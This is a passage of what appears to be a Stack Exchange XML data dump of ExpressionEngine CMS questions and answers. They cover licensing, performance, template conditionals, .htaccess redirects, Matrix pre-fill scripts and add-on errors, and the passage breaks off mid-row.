  <row Id="7596" PostTypeId="2" ParentId="7578" CreationDate="2013-03-21T16:20:27.630" Score="1" Body="&lt;p&gt;Based of what you've written, yes you could have one install of EE, with 3 MSM licenses, this is assuming that the other developer isn't using the other MSM licenses to resolve some other issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We sometimes use a MSM license on a client's site to hide data that doesn't need to be accessed regularly, but is stored in Channel Entries. For example, for some clients we bring over their Twitter feed directly to EE. Them seeing their tweets amongst their post can be annoying, so they are stored in MSM, so they are accessible, but not actively visible. We've done this for membership directories as well, when members are being stored in channels. Staff needs access to the members, but for content creators, it can be a bit discerning to see 'non-posts' pop-up in Edit Channel Entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, that's just to say, you probably want to know more about why they are using 3 MSM licenses for 3 EE installs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they aren't using them at all then, yes you can group to a single install, single license. Even if they are using them, you maybe able to group to a single install and 6 MSM license instead of 3 full EE copies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for MSM, it can handle subdomains or actual domains. So if you already own, and want to continue to use example1.com, example2.com, and example3.com the can all be pointed to a single install of EE using MSM, or you could use subdomains, like site1.example.com, site2.example.com, etc.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-03-21T16:20:27.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7597" PostTypeId="1" AcceptedAnswerId="7603" CreationDate="2013-03-21T17:03:51.373" Score="1" ViewCount="343" Body="&lt;p&gt;I'm experiencing pages loading very slowly, it's happening intermittently on a low traffic EE site. Most of the traffic is just me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When they load slow, they take a good 30 seconds or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when the load fast they are very quick. Less than a second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template debugger and output profiler numbers look good as far as I can tell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this be due to mysql table locking?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;updates:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For future reference, I upgraded MySQL to MariaDB (a drop-in MySQL replacement) on the host and also changed DB tables from the default MyISAM to InnoDB (actually XtraDB) and have continued to watch it. These changes have had a positive impact on performance so far.&lt;/p&gt;&#xA;" OwnerUserId="336" LastEditorUserId="336" LastEditDate="2013-04-02T17:30:12.343" LastActivityDate="2013-04-02T17:30:12.343" Title="performance issues - is it the database?" Tags="|database|mysql|performance|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7598" PostTypeId="1" AcceptedAnswerId="7626" CreationDate="2013-03-21T17:30:43.447" Score="2" ViewCount="126" Body="&lt;p&gt;I'm using a multi-author field (VZ Members) that outputs this for author IDs;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4333|3871|3957&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I show entries that match the logged in user?  Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;If logged_in_member_id matches one of these, 4333|3871|3957, then show entry.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a built-in EE way or does this jump to embedded php?  (I hope this question isn't too trivial... it feels that way)&lt;/p&gt;&#xA;" OwnerUserId="843" LastEditorUserId="843" LastEditDate="2013-03-21T18:22:03.403" LastActivityDate="2013-03-22T07:31:00.927" Title="Conditional Formatting: if the value matches one of these" Tags="|conditionals|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7599" PostTypeId="1" CreationDate="2013-03-21T17:34:55.793" Score="1" ViewCount="87" Body="&lt;p&gt;We added MSM to a site where Assets is used to manage the images on the default site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When creating a new site and duplicating the channel info etc. everything is duplicating apart from the Assets data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this due to Assets being a custom fieldtype?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&#xA;Jonny&lt;/p&gt;&#xA;" OwnerUserId="1213" LastEditorUserId="252" LastEditDate="2013-04-01T16:49:21.063" LastActivityDate="2013-04-01T16:49:21.063" Title="Multisite Manager and Assets Duplication Problem" Tags="|assets|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7600" PostTypeId="1" AcceptedAnswerId="7630" CreationDate="2013-03-21T17:36:26.670" Score="1" ViewCount="230" Body="&lt;p&gt;I'm testing the reset password form for FreeMember and emails are not arriving. Here's the code (&lt;a href=&quot;https://github.com/expressodev/freemember/blob/master/docs/forgot_password_tag.md#forgot-password-tag-example&quot; rel=&quot;nofollow&quot;&gt;same as here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:forgot_password return=&quot;/account/forgot_sent&quot; }&#xA;&#xA;            &amp;lt;p&amp;gt;&#xA;                &amp;lt;label for=&quot;email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;                {field:email}&amp;lt;br /&amp;gt;&#xA;                {error:email}&#xA;            &amp;lt;p&amp;gt;&#xA;&#xA;            &amp;lt;p&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;&#xA;      {/exp:freemember:forgot_password}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No errors appear. No emails arrive. I've tested EE's native emailer and the emails arrive, so that's not the issue. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-09-18T12:45:29.807" Title="Expresso FreeMember - reset password form email" Tags="|freemember|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7601" PostTypeId="1" AcceptedAnswerId="7659" CreationDate="2013-03-21T18:36:48.723" Score="3" ViewCount="3619" Body="&lt;p&gt;I've got an extranet (mywebsite.com/extranet) and would like to make sure that just this section is always under https, even if the user types the URL without https in it. Likewise (as a bonus, if possible, and if it doesn't add an unnecessary overhead), I'd like to make sure that the rest of the website is always http, even the user types https.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about doing this in the following .htaccess file (I'd rather not change the existing rules if possible as they seem to work well on my existing servers)? I've tried various pieces of code after searching around, but I can't get anything to play nicely with the existing rules. Also, I'd rather not use any third party add-ons as I'd like to keep my EE install as lightweight as possible, thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my existing .htaccess code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;# Remove trailing slashes&#xA;RewriteCond %{REQUEST_METHOD} !=POST&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.+)/$ /$1 [R=301,L]&#xA;&#xA;# Add www&#xA;RewriteCond %{HTTP_HOST} !^www\.&#xA;RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]&#xA;&#xA;# Remove index.php from URLs&#xA;RewriteCond $1 !(^index\.php|(\.(gif|jpe?g|png|css|js)))$&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-03-23T14:24:07.080" Title="Adding a .htaccess redirect to https that plays nicely with existing EE .htaccess rules" Tags="|htaccess|ssl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7602" PostTypeId="1" CreationDate="2013-03-21T18:50:43.353" Score="1" ViewCount="62" Body="&lt;p&gt;With my site I am are offering a file to be downloaded or to be played. Via mobile(iPhone) I am unable to play the audio file, I get the white play button with the slash through it. Android attempts to download the file, but it fails. I have set Content-Disposition to inline within the Cartthrob_file.php file, this gave me the ability to now play the file not download it via the browser. I have also changed the settings within that file to completely disable Content-Disposition so it would naturally default to inline, but no progress. I have looked around Cartthrobs docs and forums to get around the issue, but nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main focus(question) I am trying to give the user(purchaser) the ability to play the audio file via their phone while they are view the site. And do the whole right click to save file.&lt;/p&gt;&#xA;" OwnerUserId="1173" LastActivityDate="2013-03-21T18:50:43.353" Title="Cartthrob, Play Audio File, Content Disposition Issue" Tags="|cartthrob|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7603" PostTypeId="2" ParentId="7597" CreationDate="2013-03-21T19:00:11.167" Score="1" Body="&lt;p&gt;I've hosted one project on a Wired tree VPS and had similar issues. I think they changed how PHP was setup on the server for me which got things running better. Best to contact them directly. They'll know what to do. I doubt it's an EE issue. &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-03-25T17:47:58.913" LastActivityDate="2013-03-25T17:47:58.913" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7604" PostTypeId="2" ParentId="7598" CreationDate="2013-03-21T19:04:28.890" Score="1" Body="&lt;p&gt;You should just be able to do &lt;code&gt;{if logged_in_member_id == &quot;4333|3871|3957&quot;}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or with VZ Members, which I'm not familiar with, it should be &lt;code&gt;{if logged_in_member_id == &quot;{members_field}{id}|{/members_field}&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-03-21T19:04:28.890" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7605" PostTypeId="2" ParentId="7599" CreationDate="2013-03-21T19:11:47.643" Score="1" Body="&lt;p&gt;Jonny.  Yes, the settings should copy over, but unfortunately, the data won't.  There isn't a hook in there for us to add that ability cleanly; you would need to hack the data duplication in.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-21T19:11:47.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7606" PostTypeId="1" AcceptedAnswerId="10339" CreationDate="2013-03-21T19:24:43.800" Score="0" ViewCount="206" Body="&lt;p&gt;Here is what i'm gonna do with CartTrhob. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to sell a product that can be sold in different material. Every product has it's own volume in cm3, and every material has a Price per cm3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PRODUCT_A&lt;/strong&gt; has a &lt;strong&gt;VOLUME&lt;/strong&gt; of &lt;strong&gt;10 cm3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a channel called &quot;MATERIAL&quot; i have saved all the available material that can be applied to every PRODUCT.&#xA;Every material has this fixed values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MATERIAL_A&lt;/strong&gt; - &lt;strong&gt;PRICE/CM3=2&lt;/strong&gt; - &lt;strong&gt;PRODUCTION_FEE=3&lt;/strong&gt;;&#xA;&lt;strong&gt;MATERIAL_B&lt;/strong&gt; - &lt;strong&gt;PRICE/CM3=8&lt;/strong&gt; - &lt;strong&gt;PRODUCTION_FEE=2&lt;/strong&gt;;&#xA;&lt;strong&gt;MATERIAL_C&lt;/strong&gt; - &lt;strong&gt;PRICE/CM3=6&lt;/strong&gt; - &lt;strong&gt;PRODUCTION_FEE=5&lt;/strong&gt;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The price is made by this formula:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MATERIAL_PRICE&lt;/strong&gt; = (&lt;strong&gt;PRODUCT_VOLUME&lt;/strong&gt; * &lt;strong&gt;MATERIAL_PRICE/CM3&lt;/strong&gt;) + &lt;strong&gt;MATERIAL_PRODUCTION_FEE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in this case i'll have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PRODUCT_A:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;MATERIA_A_PRICE = (10 * 2) + 3 = 23$&lt;/li&gt;&#xA;&lt;li&gt;MATERIA_B_PRICE = (10 * 8) + 2 = 82$ &lt;/li&gt;&#xA;&lt;li&gt;MATERIA_C_PRICE = (10 * 6) + 5 = 65$&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would that every single material price for every single product is automatically calculated by the above formula. So every time i'll add new product i have to add only the VOLUME variable and EE does the rest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end, after all material prices are calculated, i would that MATERIAL_A_PRICE is shown by default, as it is the default PRODUCT PRICE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that the matrix price modifiers is the solution but i can't find the solution to make this MAGIC and store all that value in entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some brave man can help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--- ADDED LATER ---&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that question here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1548/pre-fill-matrix-field-when-creating-new-entry&quot;&gt;Pre-fill matrix field when creating new entry?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the script to add in the instruction is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;$(function() {&#xA;&#xA;// Make sure that this is the publish form&#xA;if (!EE.publish)&#xA;return;&#xA;&#xA;// Only proceed when creating a new entry&#xA;var entryId = $('#publishForm').find('input[name=&quot;entry_id&quot;]').val();&#xA;if (entryId != 0)&#xA;return;&#xA;&#xA;function initLabels(id, labels) {&#xA;var addEntryButton = $('#sub_hold_field_' + id + ' .matrix-btn.matrix-add');&#xA;if (!addEntryButton.length)&#xA;    return;&#xA;&#xA;// Need to wait after `document.ready` has finished executing!&#xA;setTimeout(function() {&#xA;    var field = $('#sub_hold_field_' + id);&#xA;&#xA;    // Only proceed if matrix is empty&#xA;    // Note: This is not the case if a validation error occurs!&#xA;    if (!field.find('.matrix-norows').is(':visible'))&#xA;        return;&#xA;&#xA;    // Create one row for each label&#xA;    for (var i = 0; i &amp;lt; labels.length; ++i)&#xA;        addEntryButton.click();&#xA;&#xA;    // Skip the placeholder row for &quot;No rows have been added yet...&quot;&#xA;    field.find('tbody tr:not(.matrix-norows)').each(function(i) {&#xA;        $(this).find('.matrix-firstcell textarea').val(labels[i]);&#xA;    });&#xA;}, 0);&#xA;}&#xA;&#xA;// Check that this is an entry of the expected channel field group&#xA;if (EE.publish.field_group == 2) {&#xA;// &quot;Custom Parameters&quot;&#xA;initLabels('23', [&#xA;    'Lens Type',&#xA;    'Focal Length',&#xA;    'Manufacturer',&#xA;    'Model',&#xA;    'Serial Number'&#xA;]);&#xA;&#xA;// &quot;Track Information&quot;&#xA;initLabels('17', [&#xA;    'Artist',&#xA;    'Title',&#xA;    'Label',&#xA;    'Artwork'&#xA;]);&#xA;}&#xA;&#xA;})&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But i have no idea on how to customize for me.&#xA;How i can auto-fill with material name, price/cm3 and commission_fee hidden value in script to make the operations?&lt;/p&gt;&#xA;" OwnerUserId="1047" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-05-13T16:04:19.263" Title="CartThrob automatic price calculated by VOLUME (or WEIGHT) and modifiers value" Tags="|cartthrob|modifiers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7607" PostTypeId="1" AcceptedAnswerId="7621" CreationDate="2013-03-21T19:47:58.377" Score="3" ViewCount="124" Body="&lt;p&gt;I'm using this code to display the active category as the title of the page before the channel entries are listed out, however, if you go to the next page using the pagination the category seems to lose it's active status and nothing is returned. Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1st page returns: Category &gt; Active Category Name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2nd page returns: Category &gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1st page URL: /sustainability/stories_and_video/category/pillars_passion_for_people&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2nd page URL: /sustainability/stories_and_video/category/pillars_passion_for_people/P3&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;stories&quot; disable=&quot;member_data&quot; orderby=&quot;article_publish_date&quot; sort=&quot;desc&quot; limit=&quot;3&quot; pagination=&quot;bottom&quot;}&#xA;  {if count == 1}&#xA;      &amp;lt;h2&amp;gt;&#xA;           Category &amp;gt; {categories}{if active}{category_name}{/if}{/categories}&#xA;      &amp;lt;/h2&amp;gt;&#xA;  {/if}&#xA;  &amp;lt;div class=&quot;pageBlock newsBlock&quot;&amp;gt;&#xA;    {if story_image != &quot;&quot;}&amp;lt;img class=&quot;sus_small_img&quot; src=&quot;{story_image:small_images}&quot; /&amp;gt;{/if}&#xA;    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    {story_blurb}&#xA;    &amp;lt;span id=&quot;more&quot;&amp;gt;&amp;lt;a href=&quot;  {url_title_path='sustainability/story_detail'}&quot;&amp;gt;Read more&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{paginate}&#xA;    &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;{/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1214" LastEditorUserId="172" LastEditDate="2013-03-22T08:43:59.660" LastActivityDate="2013-03-22T08:43:59.660" Title="Losing Active Status of Category in Pagination" Tags="|categories|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7608" PostTypeId="2" ParentId="7565" CreationDate="2013-03-21T19:53:57.443" Score="0" Body="&lt;p&gt;There is not a way built into Store that would allow you to do what you want to do out of the box. If you are storing the shipping details as channel entries it would be pretty easy to link the customer to multiple channel entries (by making them the author) and show those on the top of your checkout template. Then when the user has select a specific address you can use the entry_id to output the address into your Store checkout fields.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-03-21T19:53:57.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7609" PostTypeId="2" ParentId="7581" CreationDate="2013-03-21T19:58:35.443" Score="1" Body="&lt;p&gt;You would need to follow the setup and intro articles from our Getting Started section here: &lt;a href=&quot;http://buildwithstructure.com/documentation&quot; rel=&quot;nofollow&quot;&gt;http://buildwithstructure.com/documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would setup the channels you want Structure to use and resave them, dragging them into place in the hierarchy and then adding our dynamic tags to your templates for the navigation.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-03-21T19:58:35.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7611" PostTypeId="1" CreationDate="2013-03-21T20:50:03.983" Score="1" ViewCount="137" Body="&lt;p&gt;Trying to build an archive with &lt;strong&gt;Stash&lt;/strong&gt; &amp;amp; &lt;strong&gt;Low Yearly Archive&lt;/strong&gt;, but not getting it to work as I need. The result that I get with the code below is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; - 2013&#xA; - 2012&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything within the nested list is not getting set it seems. Can you help spot what I am missing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Setting the list with:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      {exp:stash:set_list name=&quot;yearly-archive&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;            {exp:low_yearly_archives channel=&quot;news&quot; start_month=&quot;1&quot; status=&quot;not closed&quot; sort=&quot;desc&quot; dynamic=&quot;off&quot;}                  &#xA;                {stash:year}{year}{/stash:year}&#xA;                {stash:year_count}{year_count}{/stash:year_count}&#xA;                {stash:total_years}{total_years}{/stash:total_years}                    &#xA;                {exp:stash:set_list:nested name=&quot;news_months_{year}&quot; parse_tags=&quot;yes&quot;}&#xA;                    {months}&#xA;                        {stash:num_entries}{num_entries}{/stash:num_entries}&#xA;                        {stash:month}{month}{/stash:month}&#xA;                        {stash:month_short}{month_short}{/stash:month_short}&#xA;                        {stash:month_num}{month_num}{/stash:month_num}&#xA;                    {/months}&#xA;                {/exp:stash:set_list:nested}&#xA;            {/exp:low_yearly_archives}&#xA;        {/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Retrieving with:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:stash:get_list name=&quot;yearly-archive&quot; parse_tags=&quot;yes&quot;}&#xA; {if year_count == '1'}&amp;lt;ul&amp;gt;{/if}&#xA;      &amp;lt;li&amp;gt;&#xA;      {year}&#xA;      &amp;lt;ul&amp;gt;  &#xA;      {exp:stash:get_list:nested name=&quot;news_months_{year}&quot; parse_conditionals=&quot;yes&quot; parse_tags=&quot;yes&quot;}&#xA;           &amp;lt;li&amp;gt;&#xA;           {if num_entries != 0}&#xA;                &amp;lt;a href=&quot;{path=blog/archive}{year}/{month_num}/&quot; title=&quot;{num_entries} entries in {month} {year}&quot;&amp;gt;{month_short}&amp;lt;/a&amp;gt;&#xA;           {if:else}&#xA;                {month_short}&#xA;           {/if}&#xA;           &amp;lt;/li&amp;gt;&#xA;      {/exp:stash:get_list:nested}&#xA;      &amp;lt;/ul&amp;gt;&#xA; &amp;lt;/li&amp;gt;&#xA; {if year_count == total_years}&amp;lt;/ul&amp;gt;{/if}&#xA; {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When adding output=&quot;yes&quot; to the set_list &amp;amp; set_list:nested tags the outer tag outputs as expected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; year|=|2013|&amp;amp;|year_count|=|1|&amp;amp;|total_years|=|2|+|year|=|2012|&amp;amp;|year_count|=|2|&amp;amp;|total_years|=|2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The inner (nested tag) outputs nothing... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for taking a gander!&lt;/p&gt;&#xA;" OwnerUserId="4" LastEditorUserId="4" LastEditDate="2013-03-22T16:38:38.173" LastActivityDate="2013-03-23T00:07:18.880" Title="Retrieving an entry archive with Stash" Tags="|stash|low-yearly-archives|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7613" PostTypeId="1" AcceptedAnswerId="7614" CreationDate="2013-03-21T21:26:36.567" Score="1" ViewCount="276" Body="&lt;p&gt;I am developing a site for a German client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to set the language of a member group?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Zoo Flexible Admin offer that as an option?&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-03-22T04:55:13.823" Title="Change Language in CP" Tags="|control-panel|multilingual|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7614" PostTypeId="2" ParentId="7613" CreationDate="2013-03-21T22:04:51.310" Score="2" Body="&lt;p&gt;You cannot set CP language by member group and Zoo Flexible Admin doesn't allow language switching from any setting I see but your menus can be in any language you want specific to the member group since you are manually setting up and naming the links.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can set a &quot;Default Language&quot; on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/general_configuration.html#default-language&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;General Configuration&lt;/strong&gt;&lt;/a&gt; page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/COKpL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can override that setting per member on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/my_account/index.html#localization-settings&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Localization Settings&lt;/strong&gt;&lt;/a&gt; page in their My Account area:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6CYs0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-03-21T22:11:27.607" LastActivityDate="2013-03-21T22:11:27.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7615" PostTypeId="1" CreationDate="2013-03-21T22:11:45.603" Score="0" ViewCount="162" Body="&lt;p&gt;I'm trying to add Google Analytics Event tracking javascript snippet to A HREF link in Wygwam, but Wygwam keeps stripping out most of the snippet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;what i'm trying to add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onClick=”_gaq.push(['_trackEvent', 'assessments', 'UPI', 'signup, '5', true]);”&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Click &amp;lt;a href=&quot;URL&quot; onClick=”_gaq.push(['_trackEvent', 'assessments', 'UPI', 'signup, '5', true]);” target=&quot;_blank&quot;&amp;gt;here&amp;lt;/a&amp;gt;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what it turns to when i save:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onclick=&quot;”_gaq.push(['_trackEvent',&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1216" LastEditorDisplayName="user800" LastEditDate="2013-03-29T02:54:27.140" LastActivityDate="2013-03-29T02:54:27.140" Title="Google Analytics Event tracking javascript getting stripped" Tags="|wygwam|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7616" PostTypeId="1" AcceptedAnswerId="7664" CreationDate="2013-03-21T23:59:20.077" Score="1" ViewCount="176" Body="&lt;p&gt;I'm having a very bizarre issue with a fresh install of EE 2.5.5, Matrix 2.5.3 &amp;amp; Assets 2.0.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a field group and then created a matrix field. When I did so the matrix cp did not look like it normally. Additionally when changing a cell type, none of the options change. However if I save it and reload then the options have changed to the appropriate cell type. Also on the publish page everything looks wonky. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've done so far, re-uploaded both assets &amp;amp; matrix to the site. That didn't change anything so then I re-uploaded the entire EE themes folder - still no change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change the cell type to date and save I'm redirected to the CP home and have to renavigate back to custom fields. If I then change the cell type back to assets I get the following php errors.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Severity: Notice&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: Undefined index: assets&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: assets/ft.assets.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 268&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: Cannot modify header information - headers already sent by&#xA;  (output started at&#xA;  /path/to/system/codeigniter/system/core/Exceptions.php:170)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: libraries/Functions.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 809&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: Cannot modify header information - headers already sent by&#xA;  (output started at&#xA;  /path/to/system/codeigniter/system/core/Exceptions.php:170)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: libraries/Functions.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 405&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm sure the error is somehow related to not finding files correctly. I've re-uploaded everything and checked path settings and everything checks out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Kgnj.jpg&quot; alt=&quot;custom field screenshot&quot;&gt;&#xA;&lt;img 